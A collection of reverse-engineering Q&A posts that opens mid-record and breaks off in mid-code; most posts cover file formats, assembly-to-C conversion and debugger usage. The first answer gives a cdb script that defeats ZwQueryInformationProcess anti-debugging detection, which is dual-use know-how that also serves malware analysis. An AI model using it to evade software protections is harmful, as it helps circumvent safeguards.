        "Body": "<p>How do I defeat the <code>ZwQueryInformationProcess()</code> anti-debugging protection for the ProcessDebugPort class? \nUnlike <code>isDebuggerPresent()</code> I found this really hard to bypass in my skill... </p>\n\n<p>Does anyone know how to bypass this api function?</p>\n",
        "Title": "how do I bypass ZwQueryInformationProcess as anti-debugging protection",
        "Tags": "|windows|ollydbg|anti-debugging|",
        "Answer": "<pre><code>#include \"zwopenproc.h\"\nint main (void) \n{\n    hNtdll=GetModuleHandle(\"ntdll.dll\");\n    if(hNtdll) \n    {\n        *(FARPROC *)&amp;ZwQIP  = GetProcAddress(hNtdll,\"ZwQueryInformationProcess\");\n        hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId());\n        ZwQIP(hProc,ProcessImageFileName,OutBuff,sizeof(OutBuff),&amp;Rlen);\n        printf(\"ImageName=%wZ\\n\",OutBuff);\n        ZwQIP(hProc,ProcessDebugPort,&amp;DbgPort,4, &amp;Rlen);\n        switch( DbgPort )\n        {\n        case 0xffffffff:\n            printf(\"some bugs are debugging us\\n\");\n            break;\n        case 0x0:\n            printf(\"no bugs are debugging us\\n\");\n            break;\n        default:\n            printf (\"who knows if bugs are debugging us\\n\");\n            break;\n        }       \n    }\n    return 0;    \n}\n</code></pre>\n\n<p><strong>executing this code without debugger</strong></p>\n\n<pre><code>zwopenproc.exe\nImageName=\\Device\\HarddiskVolume4\\test\\zwqiproc\\zwopenproc.exe\nno bugs are debugging us\n</code></pre>\n\n<p><strong>executing inside debugger results in detection</strong> </p>\n\n<pre><code>cdb -g -G zwopenproc.exe | tail -2\nImageName=\\Device\\HarddiskVolume4\\test\\zwqiproc\\zwopenproc.exe\nsome bugs are debugging us +++++++++++++++++++++++++++++++++++++++++++++++\n</code></pre>\n\n<p><strong>executing inside debugger and overwriting the return buffer using a script results in no detection</strong></p>\n\n<pre><code>cdb -G -c \"$$&gt;a&lt; zwqip.txt\" zwopenproc.exe  | tail -6\n\n\n    Process Id  2064\n    Parent Process  3716\n    Base Priority 8\n.  0    id: 810 create  name: zwopenproc.exe\nImageName=\\Device\\HarddiskVolume4\\test\\zwqiproc\\zwopenproc.exe\nno bugs are debugging us  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n\nprintf \"%x\\n\" , 2064\n810\n</code></pre>\n\n<p><strong>contents of script file</strong></p>\n\n<pre><code>cat zwqip.txt\nbp ntdll!ZwQueryInformationProcess \".if( poi(@esp+8) != 7 ){gc} .else { !handle poi(@esp+4\n) f ; | ; gu ; ed dbgport 0; gc } \"\ng\n</code></pre>\n"
    },
    {
        "Id": "13331",
        "CreationDate": "2016-08-21T14:31:07.430",
        "Body": "<p>This is a korean MMORPG released back in 2001. The game and the company no longer exists. I've been analyzing the file formats as a personal project for awhile now. </p>\n\n<p>I have already decoded the textures and script files. I only have 2 more files left to decode: <code>.ani</code> and <code>.obj</code>. With the extensions, I would guess that the <code>.ani</code> contains the animation and <code>.obj</code> contains the 3d models. As the title of my question would suggest. I'm currently working on the <code>.obj</code> file. </p>\n\n<h2>What I Know</h2>\n\n<p><code>.obj</code> files are actually archives that contains one or more models. But exclusively 3D models (biped) because the textures are found on another archive with the extension <code>.t16</code> or <code>.tex</code>.</p>\n\n<p>I'll take the 22nd model inside the file <code>def.obj</code> as an example. I have also taken it out of the archive and saved it as a file called `def_022.obj.</p>\n\n<p>From here on, I'll call the 22nd model <code>Armor of Eagle</code>. The next image is the texture for the <code>Armor of Eagle</code> found on <code>def.t16</code>:</p>\n\n<p><a href=\"https://i.stack.imgur.com/OXODV.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OXODV.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>The Armor of Eagle in-game:</p>\n\n<p><a href=\"https://i.stack.imgur.com/8ttpa.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8ttpa.png\" alt=\"enter image description here\"></a></p>\n\n<p>A <code>def_inf.txt</code> file has this related line:</p>\n\n<pre><code>filename    LODstep polycnt\narmor_eagle 0       313     // eagle = index 22\n</code></pre>\n\n<p>In general, the structure of <code>.obj</code> is:</p>\n\n<pre><code>06 00 00 00 03 00     // don't know what\n3C 00                 // total number of models in this list\n01 00 9E 00 00 00 9E 00 00 00 78 00 00 00 78 00 00 00 // the first model on the list with 0x9E polygons and 0x78 verticies\n01 00 64 00 00 00 64 00 00 00 61 00 00 00 61 00 00 00 // the 2nd model\n....... // continues until you reach the end of the headers\n....... // then the bodies start, actual 3d data\n</code></pre>\n\n<p>This is how the headers looks:</p>\n\n<p><a href=\"https://i.stack.imgur.com/duJ5J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/duJ5J.png\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li>Cyan: \n\n<ul>\n<li>39 01 00 00 = 313 polygon count</li>\n<li>18 01 00 00 = 280 vertex count</li>\n<li>AD 00 6B 00 = unknown</li>\n</ul></li>\n</ul>\n\n<h2>About def_022.obj</h2>\n\n<p>The face indices start at <code>0x4C [00 00 01 00...]</code><br>\nand by the looks of it ends at <code>0x7A2 [...A2 00 A3 00]</code></p>\n\n<p>I was using the tool called <code>hex2obj 0.24c</code> but didn't have any luck in guessing the starting points of the vertices and uv list.</p>\n\n<p><a href=\"https://i.stack.imgur.com/xiRGV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xiRGV.png\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li>Yellow: seems to me that it is the chunk marker. (because all files start with it)</li>\n<li>Light Blue: is a uint16 seq no., +1 for every model inside the <code>def.obj</code>. And it also corresponds to the index of its texture (on the texture archive).</li>\n<li>Dark Green: is the face indices.</li>\n</ul>\n\n<h2>The Question</h2>\n\n<ul>\n<li>How do I go forward?  </li>\n<li>How do I find the address where the UV starts? (<em>books? articles? resources?</em>)</li>\n<li>Lastly, how do I know where the vertices start?</li>\n</ul>\n\n<p>This is all considering that I just analyze the binary and not debug the client itself to see how the client is taking the data.</p>\n\n<h2>UPDATE</h2>\n\n<p>I noticed a few new things on the file I'm analyzing <code>def_022.obj</code>. A bytearray gets repeated a lot of times. Although, I'm still not sure of the significance YET. <code>00 00 80 3F</code> is also the bytes that each model start with, which I thought was the chunk marker:</p>\n\n<p><a href=\"https://i.stack.imgur.com/7JIx3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7JIx3.png\" alt=\"enter image description here\"></a></p>\n\n<ul>\n<li>Yellow: is the repeated bytes. You'll also notice that it is usually preceded by the byte <code>0x3F</code> or <code>0x3E</code> and followed by <code>0x0C</code> and <code>0x0D</code> and then 3 bytes of <code>0x00</code>. This pattern gets repeated 185 times.</li>\n<li>Cyan: is the area containing the face indices.</li>\n<li>Upon further research I found out that <code>3f80 0000 = 1</code> or <code>0000 803f = 1</code> for little endian. But still don't know the significance, I'm going to dig deeper.</li>\n</ul>\n\n<p>Based on the notes Mr @RadLexus has kindly provided. I was also able to plot the vertices and imported into blender:</p>\n\n<p><a href=\"https://i.stack.imgur.com/mzEjq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mzEjq.png\" alt=\"enter image description here\"></a></p>\n\n<p>Added the normals and UV:</p>\n\n<pre><code>v -13.531700 37.445000 2.338600\nvn -0.687800 0.725000 -0.036200\nvt 0.583800 0.086300\n</code></pre>\n\n<p>Then I tried adding the faces:</p>\n\n<pre><code>f 1 2 3\nf 1 3 4\nf 5 6 7\nf 5 7 8\nf 9 10 11\n...\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/rvS6x.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rvS6x.png\" alt=\"enter image description here\"></a></p>\n\n<p>But still can't figure out how to apply the textures.</p>\n\n<h2>UPDATE</h2>\n\n<p>So I tried changing my <code>.obj</code> file to include a few more info about the face values like (just duplicated the value as x/x/x):</p>\n\n<pre><code>f 1/1/1 2/2/2 3/3/3\nf 1/1/1 3/3/3 4/4/4\nf 5/5/5 6/6/6 7/7/7\n</code></pre>\n\n<p>I finally got this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/44PDX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/44PDX.png\" alt=\"enter image description here\"></a></p>\n\n<p>Although it's still wrong, I guess I'm a bit closer.</p>\n\n<h2>FINAL UPDATE</h2>\n\n<p>Have figured it out. Although, I still don't know what the unknown1 and unknown2 are but it looks good enough:</p>\n\n<p><a href=\"https://i.stack.imgur.com/BHvh8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BHvh8.png\" alt=\"enter image description here\"></a></p>\n\n<hr>\n\n<blockquote>\n  <p>Note: I know almost nothing about 3D file formats. Other than the basic components of a 3D object.</p>\n</blockquote>\n\n<p><a href=\"http://www.mediafire.com/download/i3yi7ol4cii5mtr/obj_file.zip\" rel=\"nofollow noreferrer\">Download Related Files Here</a></p>\n",
        "Title": "Reversing a 3D file format from 2001",
        "Tags": "|binary-analysis|file-format|hex|",
        "Answer": "<p><em>Some preliminary notes only \u2013 may evolve into a complete answer.</em></p>\n\n<hr>\n\n<p>My approach was the following. Clearly, the numbers at the end are floating point numbers. Also, they are not <em>all</em> floating point; the sequence <code>0C 00 00 00</code> a few bytes in is <em>not</em> a reasonable floating point number. Counting off to the next \"unreasonable\" value (which happened to be <code>0C 00 00 00</code> again, but there are other values as well) told me the <em>stride</em> of this data was <code>28</code> bytes. (Which is 40 in decimal, but for documentation I strongly prefer hex.) If you have a capable hex viewer of which you can adjust the view width, you can see that this is correct if you set its view width to 40 characters.</p>\n\n<p>Counting back from the end in 40-byte steps gave me the most likely starting point of this sequence.</p>\n\n<p>The digits right before it are clearly at least 2-byte (unsigned short), and sort of increase from the start to the end. As this is a 3D model, I had a strong hunch they form <em>triangle data</em>, so at least they should contain <code>a</code>, <code>b</code>, and <code>c</code> vertex indices, and possibly additional triangle attributes. This turned out, by trial and error, to be not the case. (The \"trial and error\" consisted of dumping them into a display program. As that worked straight away, further numerical investigations were unnecessary.)</p>\n\n<p>Since this information is (1) enough to display an object, and (2) covers all of the data in the file apart from the few bytes at the start \u2013 which can be anything \u2013 I went on writing a full display program.</p>\n\n<hr>\n\n<p>The first <code>004A</code> bytes are unknown. They contain some floating point numbers (<code>00 00 80 3F</code> is <code>1.0</code>, as a little endian 4 byte floating point number), and they could be anything. (A scale is likely.)</p>\n\n<p>The next 2 bytes form the number <code>0016</code>, which is in decimals <code>22</code>. This could be the internal 'object number'.</p>\n\n<p>Then, starting at <code>004C</code>, <code>113h</code> (313, in decimal) <em>triangle definitions</em> follow. A single triangle definition consists of 3 unsigned short indices <code>a</code>,<code>b</code>,<code>c</code>, which point to 3 <em>coordinates</em>. The largest index in this list is <code>0117</code>, a significant number!</p>\n\n<p>Right after this, <code>0118</code> <em>3D points</em> follow. Each 3D point has the following structure:</p>\n\n<pre><code>float x\nfloat y\nfloat z\nfloat unknown (usually 1.0?)\nunsigned int unknown\nfloat normal_x\nfloat normal_y\nfloat normal_z\nfloat u   \\\nfloat v   / correct; see bottom update\n</code></pre>\n\n<p>Affirming that the 3 <code>normal_*</code> variables indeed form a normal can be done by adding their squares together; they should hover around a value of <code>1.0</code>. That is correct for the first hundred or so of these coordinates, up to 3 decimals of accuracy:</p>\n\n<pre><code>1.000004\n1.000080\n0.999935\n1.000076\n0.999936\n(and so on)\n</code></pre>\n\n<p>Adding up the sizes of all coordinate elements leads to a total size of <code>28</code> bytes (40, in decimal), and:</p>\n\n<ol>\n<li>the remaining part of the file is a multiple of this;</li>\n<li>dividing the size of the remaining part by <code>28</code> results in <code>118</code> (280, in decimal).</li>\n</ol>\n\n<p>The significance of the 'highest index' in the triangle list is therefore proven :) They are indeed coordinate indices.</p>\n\n<p>Where do these numbers <code>139h</code> and <code>118h</code> come from? They appear in the header part of the entire file!</p>\n\n<p>Here is the proof that the first 3 elements are indeed <em>x</em>, <em>y</em>, and <em>z</em>. I plotted <em>x</em> and <em>y</em> only, with <em>y</em> inverted (negative towards the bottom of the screen). You can clearly recognize the 'body' part of your in-game image.</p>\n\n<p><a href=\"https://i.stack.imgur.com/kJQgG.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/kJQgG.png\" alt=\"a wireframe body\"></a></p>\n\n<hr>\n\n<p>Not <em>all</em> coordinates are quite the same. The <code>unknown_1</code> float value is <code>1.000</code> for the first 173 coordinates, then jumps to other values for the remainders. Similarly, the integer <code>unknown_2</code> hovers between values from <code>4</code> to <code>43</code> for these, and then jumps to a much higher value. This needs some further investigation.</p>\n\n<hr>\n\n<p>The <code>u</code>,<code>v</code> values can be mapped onto the source image directly. They are expressed in a floating point range from <code>0..1</code> so you need to multiply them by the source image's width and height. Here is an image of that:</p>\n\n<p><a href=\"https://i.stack.imgur.com/pVv4j.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/pVv4j.png\" alt=\"texture coordinates\"></a></p>\n\n<p>The unused parts of the image are presumably used by other 3D models.</p>\n"
    },
    {
        "Id": "13333",
        "CreationDate": "2016-08-21T15:49:35.903",
        "Body": "<p>I have the following function in assembly, and i'm trying to convert it to c.</p>\n\n<p>the function accept 2 parameters, the first one is <code>char*</code> and the second is the <code>int</code></p>\n\n<p>this is the assembly code:</p>\n\n<pre><code>71D3C400     PUSH EBP\n71D3C401     MOV EBP,ESP\n71D3C403     SUB ESP,8\n71D3C406     MOV DWORD PTR SS:[EBP-8],0\n71D3C40D     MOV DWORD PTR SS:[EBP-4],0\n71D3C414     JMP SHORT 71D3C41F                       ; 71D3C41F\n71D3C416     MOV EAX,DWORD PTR SS:[EBP-4]\n71D3C419     ADD EAX,1\n71D3C41C     MOV DWORD PTR SS:[EBP-4],EAX\n71D3C41F     MOV ECX,DWORD PTR SS:[EBP-4]\n71D3C422     CMP ECX,DWORD PTR SS:[EBP+C]\n71D3C425     JNB SHORT 71D3C46B                       ; 71D3C46B\n71D3C427     MOV EDX,DWORD PTR SS:[EBP+8]\n71D3C42A     ADD EDX,DWORD PTR SS:[EBP-4]\n71D3C42D     MOVZX EAX,BYTE PTR DS:[EDX]\n71D3C430     CMP EAX,0D\n71D3C433     JE SHORT 71D3C443                        ; 71D3C443\n71D3C435     MOV ECX,DWORD PTR SS:[EBP+8]\n71D3C438     ADD ECX,DWORD PTR SS:[EBP-4]\n71D3C43B     MOVZX EDX,BYTE PTR DS:[ECX]\n71D3C43E     CMP EDX,0A\n71D3C441     JNZ SHORT 71D3C445                       ; 71D3C445\n71D3C443     JMP SHORT 71D3C416                       ; 71D3C416\n71D3C445     MOV EAX,DWORD PTR SS:[EBP+8]\n71D3C448     ADD EAX,DWORD PTR SS:[EBP-4]\n71D3C44B     MOVZX ECX,BYTE PTR DS:[EAX]\n71D3C44E     ADD ECX,DWORD PTR SS:[EBP-8]\n71D3C451     MOV DWORD PTR SS:[EBP-8],ECX\n71D3C454     MOV EDX,DWORD PTR SS:[EBP-8]\n71D3C457     SHL EDX,1\n71D3C459     MOV EAX,DWORD PTR SS:[EBP-8]\n71D3C45C     AND EAX,80000000\n71D3C461     SHR EAX,1F\n71D3C464     OR EDX,EAX\n71D3C466     MOV DWORD PTR SS:[EBP-8],EDX\n71D3C469     JMP SHORT 71D3C416                       ; 71D3C416\n71D3C46B     MOV EAX,DWORD PTR SS:[EBP-8]\n71D3C46E     MOV ESP,EBP\n71D3C470     POP EBP\n71D3C471     RETN\n</code></pre>\n\n<p>and this is my c code until now:</p>\n\n<pre><code>_71D3C400 (char*str, int len) {\n    int var1 = 0; // [EBP-8]\n    int var2 = 0; // [EBP-4]\n\n    goto _71D3C41F;\n\n_71D3C416:\n    var2++;\n\n_71D3C41F:\n    ECX = [EBP-4];\n\n71D3C422     CMP ECX,DWORD PTR SS:[EBP+C]\n71D3C425     JNB SHORT 71D3C46B                       ; 71D3C46B\n    if (str[var2] == 0x0D) {\n        goto _71D3C443;\n    }\n\n    if (str[var2] != 0x0A) {\n        goto _71D3C445;\n    }\n\n_71D3C443:\n    goto _71D3C416;\n\n_71D3C445:\n    var1 = str[var2] + var1;\n    var1 = (var1 &lt;&lt; 1) | ((var1 &amp; 0x80000000) &gt;&gt; 0x1F);\n    goto _71D3C416;\n\n_71D3C46B:\n    return var1;\n}\n</code></pre>\n",
        "Title": "Converting assembly function to c",
        "Tags": "|assembly|decompilation|",
        "Answer": "<p>This code may look like this:</p>\n\n<pre><code>int someFunction (char*str, int len) {\n    int var1 = 0, var2 = 0;\n\n    while (var2 &lt;= len) {\n        if (str[var2] != '\\r' &amp;&amp; str[var2] != '\\n') {\n            var1 = str[var2] + var1;\n            var1 = (var1 &lt;&lt; 1) | ((var1 &amp; 0x80000000) &gt;&gt; 0x1F);\n        }\n\n        var2++;\n    }\n\n    return var1;\n}\n</code></pre>\n\n<p>You could also rewrite it using for loop <code>for(var2=0;var2&lt;len;var2++)</code></p>\n"
    },
    {
        "Id": "13338",
        "CreationDate": "2016-08-22T02:04:58.477",
        "Body": "<p>I'm trying to reverse engineer an application made in vb6. At a certain point it compares an input number to a constant number, my goal here is to extract that number, now i found where the comparison is taken place:</p>\n<pre><code>FCOMP QWORD PTR DS:[402CB0]\n</code></pre>\n<p>Now I understand that FCOMP <code>Compares the contents of register ST(0) and source value</code>. I don't know if I got this right, but from what I've read <code>DS:[402CB0]</code> is pointer to an address that's holding the <code>source</code> value, but using OllyDbg, and while navigating to that address (Ctrl + g), i found out that the value is <code>DB 00</code> which is not correct\n<a href=\"https://i.stack.imgur.com/asFVN.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/asFVN.png\" alt=\"enter image description here\" /></a></p>\n<p>so my question here is how can I find the real value that is being compared?\nand is it possible to make the <code>FCOMP</code> compare a constant to a pointer of an integer?</p>\n",
        "Title": "Understanding FCOMP instruction and extracted value from address operand",
        "Tags": "|disassembly|assembly|ollydbg|float|",
        "Answer": "<p><code>FCOMP</code> Compares the <code>fpu register ST0</code> with a <code>constant</code><br>\nthe <code>constant</code> is a QWORD (Meaning DOUBLE , FLOAT , Etc 8+ bytes wide )   </p>\n\n<p>ollydbg  can show both the <code>ST0 register</code> and <code>decipher the contents of the CONSTANT</code> . </p>\n\n<p>in your case if shows <code>DB 00</code> because the constant is <code>probably 0.0</code> .    </p>\n\n<p>and you <code>have not set the dump view mode</code> to appropriate format    </p>\n\n<p>the view mode you are looking at is <code>Disassembly (DB is Define Byte 00 is well 0x00 )</code> .</p>\n\n<p>you may need to change the view mode  </p>\n\n<p>first <code>select the dump window</code> then use <code>ctrl+g</code> and then right click <code>select FLOAT</code> . </p>\n\n<p>ollydbg also has a small window between disassembly pane and dump pane \nwhich can show both the source and destination contents   </p>\n\n<p>in the screen shot below \nyou can observe how <code>783ef8 is DB 00 in Disassembly window and FLOAT 0.0 in Dump Pane</code> . \nyou can observe how the <code>contents of register pane shows both the src and dest</code> contents\nyou can observe how <code>fpu register window</code> shows the <code>ST0</code> contents<a href=\"https://i.stack.imgur.com/VP4AX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/VP4AX.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "13351",
        "CreationDate": "2016-08-24T14:48:43.167",
        "Body": "<p>Seems to be a question of no importance, but I'm just curious: Is there a deeper meaning of the preceeding (single/double) <code>?</code>-marks, <code>@</code>-signs or <code>__</code> underscores in these different <code>call</code> instructions?</p>\n\n<pre><code>call ??2@YAPAXI@Z\ncall ??0CAdviseObject@CBLObject@@QAE@PAUIDispatch@@PAVCBLInstance@@@Z\ncall ?StartAutoReconnect@CBLObject@@IAEXIH@Z\ncall @__security_check_cookie@4\ncall __SEH_epilog\n</code></pre>\n",
        "Title": "Call instruction - preceding ?@_ in references?",
        "Tags": "|ida|disassembly|assembly|call|",
        "Answer": "<p>The leading <code>?</code> identifies a C++ name mangled symbol. Two <code>??</code> signify operators, constructors, destructors, constant strings, and various compiler generator functions. For example <code>??0</code> is a constructor. <a href=\"http://www.geoffchappell.com/studies/msvc/language/decoration/index.htm\" rel=\"nofollow\">This site</a> has a good breakdown of the mangling pieces used by MSVC.</p>\n\n<p>A leading underscore <code>_</code> can either be due to the calling convention or due to the CRT/compiler identification standard. They will prefix all of their symbols with <a href=\"https://msdn.microsoft.com/en-us/library/2e6a4at9.aspx\" rel=\"nofollow\">two leading underscores</a> <code>__</code> as a way to help prevent name collisions:</p>\n\n<blockquote>\n  <p>In Microsoft C++, identifiers with two leading underscores are\n  reserved for compiler implementations.</p>\n</blockquote>\n"
    },
    {
        "Id": "13357",
        "CreationDate": "2016-08-25T07:10:55.517",
        "Body": "<p>How to set breakpoint on this C++ symbol?</p>\n\n<blockquote>\n  <p>bp qmgr!TokenHandle::operator-: \n  Could not resolve error at 'qmgr!TokenHandle::operator-:'</p>\n</blockquote>\n\n<p>in windbg?</p>\n",
        "Title": "How to set breakpoint on C++ symbols?",
        "Tags": "|debugging|c++|windbg|",
        "Answer": "<p>It looks like you have an extra colon at the end of your string (<code>operator-:</code>) and you may need to use <code>bm</code> instead of <code>bp</code>.</p>\n\n<pre><code>class TokenHandle\n{\npublic:\n    int data;\n    TokenHandle(int i) \n    {\n        data = i;\n    }\n    TokenHandle operator-(TokenHandle&amp; in)\n    {\n        return TokenHandle(data - in.data);\n    }\n};\n</code></pre>\n\n<p>WinDbg:</p>\n\n<pre><code>0:000&gt; bm test!TokenHandle::operator-\n  1: 00000001`3fd62da0 @!\"test!TokenHandle::operator-\"\n</code></pre>\n\n<p>Alternately verify that the debugger is able to find the right symbols (and you can always set a breakpoint on the address found):</p>\n\n<pre><code>0:000&gt; x test!TokenHandle*\n00000001`3fd62da0 test!TokenHandle::operator- (class TokenHandle *)\n00000001`3fd626c0 test!TokenHandle::TokenHandle (int)\n0:000&gt; bp 00000001`3fd62da0 \n</code></pre>\n"
    },
    {
        "Id": "13369",
        "CreationDate": "2016-08-26T11:25:24.213",
        "Body": "<p>I'm currently parsing a lot of assembly files and don't understand a specific <code>jmp</code> or <code>call</code> with <code>$+5</code> as operand:</p>\n\n<pre><code>call $+5\n jmp $+5\n</code></pre>\n\n<p>To provide more context I grepped some of the occurrences:</p>\n\n<pre><code>mov esp, [ebp+ms_exc.old_esp]\nand [ebp+ms_exc.registration.TryLevel], 0\nor [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh\ncall $+5\njmp sub_4493CA\n===== S U B R O U T I N E =======================================\npush esi\n\n[...]\n\nmov esp, [ebp+ms_exc.old_esp]\nand [ebp+ms_exc.registration.TryLevel], 0\nor [ebp+ms_exc.registration.TryLevel], 0FFFFFFFFh\ncall $+5\njmp sub_45746A\n===== S U B R O U T I N E =======================================\nmov eax, dword_4778F8\n\n[...]\n\nmov eax, ebx\ntest al, 2\njnz loc_100994B8\njmp $+5\n-----------------------------------------------------------------\nmov eax, [ebp+var_34]\nmov [ebp+var_40], eax\n</code></pre>\n\n<p>What is the meaning of the <code>$+5</code> operand?</p>\n",
        "Title": "Intel syntax - Meaning of jmp/call instruction with $+5 operand",
        "Tags": "|disassembly|x86|call|intel|",
        "Answer": "<p>opcode for call $+5 is e8 00000000 so it calls the next instruction<br>\nopcode for jmp  $+5 is e9 00000000 so it jumps to the next insturction</p>\n\n<pre><code>76E95FE0                        E8 00000000 CALL    76E95FE5         ;  &lt;ntdll.call here&gt;\n76E95FE5 &lt;ntdll.call here&gt;      00          DB      00\n76E95FE6                        E9 00000000 JMP     76E95FEB         ;  &lt;ntdll.jmp_here&gt;\n76E95FEB &lt;ntdll.jmp_here&gt;       00          DB      00\n76E95FEC                        EB 02       JMP     SHORT 76E95FF0   ;  &lt;ntdll.jmp+4&gt;\n76E95FEE                        00          DB      00\n76E95FEF                        00          DB      00\n76E95FF0 &lt;ntdll.jmp+4&gt;          00          DB      00\n</code></pre>\n"
    },
    {
        "Id": "13378",
        "CreationDate": "2016-08-27T10:02:20.683",
        "Body": "<p>I'm trying to reverse engineer an library function back to C/C++ code. \nBut the function that I reverse is almust done, i just need a little bit help for making it compleet.</p>\n\n<p>Here is the assembly code: </p>\n\n<pre><code>        0002BB46 | 8B 45 F4                 | mov eax,dword ptr ss:[ebp-C]                                            |\n    0002BB49 | 8B 88 EC 00 00 00        | mov ecx,dword ptr ds:[eax+EC]                                           |\n    0002BB4F | 89 4D EC                 | mov dword ptr ss:[ebp-14],ecx                                           |\n    0002BB52 | 8B 55 F4                 | mov edx,dword ptr ss:[ebp-C]                                            |\n    0002BB55 | 8B 82 F0 00 00 00        | mov eax,dword ptr ds:[edx+F0]                                           |\n    0002BB5B | 89 45 F0                 | mov dword ptr ss:[ebp-10],eax                                           |\n    0002BB5E | 83 7D EC 00              | cmp dword ptr ss:[ebp-14],0                                             |\n    0002BB62 | 0F 8E BA 00 00 00        | jle TestDLL.2BC22                                                   |\n    0002BB68 | C7 45 E8 00 00 00 00     | mov dword ptr ss:[ebp-18],0                                             |\n    0002BB6F | EB 09                    | jmp TestDLL.2BB7A                                                   |\n    0002BB71 | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |\n    0002BB74 | 83 C1 01                 | add ecx,1                                                               |\n    0002BB77 | 89 4D E8                 | mov dword ptr ss:[ebp-18],ecx                                           |\n    0002BB7A | 8B 55 E8                 | mov edx,dword ptr ss:[ebp-18]                                           |\n    0002BB7D | 3B 55 EC                 | cmp edx,dword ptr ss:[ebp-14]                                           |\n    0002BB80 | 0F 8D 9C 00 00 00        | jge TestDLL.2BC22                                                   |\n    0002BB86 | 8B 45 FC                 | mov eax,dword ptr ss:[ebp-4]                                            |\n    0002BB89 | 50                       | push eax                                                                |\n    0002BB8A | 6A 01                    | push 1                                                                  |\n    0002BB8C | 6A 04                    | push 4                                                                  |\n    0002BB8E | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |\n    0002BB91 | 6B C9 14                 | imul ecx,ecx,14                                                         |\n    0002BB94 | 03 4D F0                 | add ecx,dword ptr ss:[ebp-10]                                           |\n    0002BB97 | 51                       | push ecx                                                                |\n    0002BB98 | FF 15 38 E1 02 00        | call dword ptr ds:[&lt;&amp;fwrite&gt;]                                           |\n0002BB9E | 83 C4 10                 | add esp,10                                                              |\n0002BBA1 | 8B 55 FC                 | mov edx,dword ptr ss:[ebp-4]                                            |\n0002BBA4 | 52                       | push edx                                                                |\n0002BBA5 | 6A 01                    | push 1                                                                  |\n0002BBA7 | 6A 04                    | push 4                                                                  |\n0002BBA9 | 8B 45 E8                 | mov eax,dword ptr ss:[ebp-18]                                           |\n0002BBAC | 6B C0 14                 | imul eax,eax,14                                                         |\n0002BBAF | 8B 4D F0                 | mov ecx,dword ptr ss:[ebp-10]                                           |\n0002BBB2 | 8D 54 01 04              | lea edx,dword ptr ds:[ecx+eax+4]                                        |\n0002BBB6 | 52                       | push edx                                                                |\n0002BBB7 | FF 15 38 E1 02 00        | call dword ptr ds:[&lt;&amp;fwrite&gt;]                                           |\n</code></pre>\n\n<p>an little explination: \n- You see on line 0002BB46 the assembly code:  mov eax,dword ptr ss:[ebp-C]<br>\nThe [ebp - C] means that this is an structure. </p>\n\n<p>and the part of 0002BB86, you see:  mov eax,dword ptr ss:[ebp-4] \nThe [ebp - 4] means that this is an FILE* </p>\n\n<p>But this is all that i know, I just need a little example for what this part do.\nASM 1: </p>\n\n<pre><code> 0002BB46 | 8B 45 F4                 | mov eax,dword ptr ss:[ebp-C]                                            |\n0002BB49 | 8B 88 EC 00 00 00        | mov ecx,dword ptr ds:[eax+EC]                                           |\n0002BB4F | 89 4D EC                 | mov dword ptr ss:[ebp-14],ecx                                           |\n0002BB52 | 8B 55 F4                 | mov edx,dword ptr ss:[ebp-C]                                            |\n0002BB55 | 8B 82 F0 00 00 00        | mov eax,dword ptr ds:[edx+F0]                                           |\n0002BB5B | 89 45 F0                 | mov dword ptr ss:[ebp-10],eax \n</code></pre>\n\n<p>And the second one: </p>\n\n<pre><code>0002BB8E | 8B 4D E8                 | mov ecx,dword ptr ss:[ebp-18]                                           |\n0002BB91 | 6B C9 14                 | imul ecx,ecx,14                                                         |\n0002BB94 | 03 4D F0                 | add ecx,dword ptr ss:[ebp-10]                                           |\n0002BB97 | 51                       | push ecx           \n</code></pre>\n\n<p>i know it takes the variabele ebp18 and multiply it with 0x14. \nAnd add it to ebp10. But i dont know what ebp10 is. i whas thinking it is an struct or something.</p>\n\n<p>I hope someone can help me, for explaining to me. </p>\n\n<p>Manny thanks. </p>\n\n<p>Here is the source code that I've from the assembly. </p>\n\n<pre><code>typedef struct _EDX  \n{\n\n    DWORD offset0;         // edx 0x0 -&gt; needs tp be checked          \n    DWORD offset4;        // edx 0x4                                  \n    char offset64[0x64];  // edx 0x64                                 \n    char offsetC8[0x20];  // -&gt; new added                             \n    DWORD offsetE8;       //                                          \n    DWORD offsetEC;       // edx 0xEC                                 \n    char* offsetF0;       // edx 0xF0                                \n\n    char first[0x64];\n} EDX, *PEDX;\n\nbool _cdecl WriteAdptInfo(char* filName, PEDX ebpc) \n{\n    if(ebpc != NULL)\n    {\n        FILE* file = fopen(filName, \"wb\");\n        if(file != NULL)\n        {\n            size_t size1 = fwrite(&amp;ebpc-&gt;offset4 , sizeof(DWORD), 0x01 ,file); \n            DWORD var8 = 0; \n            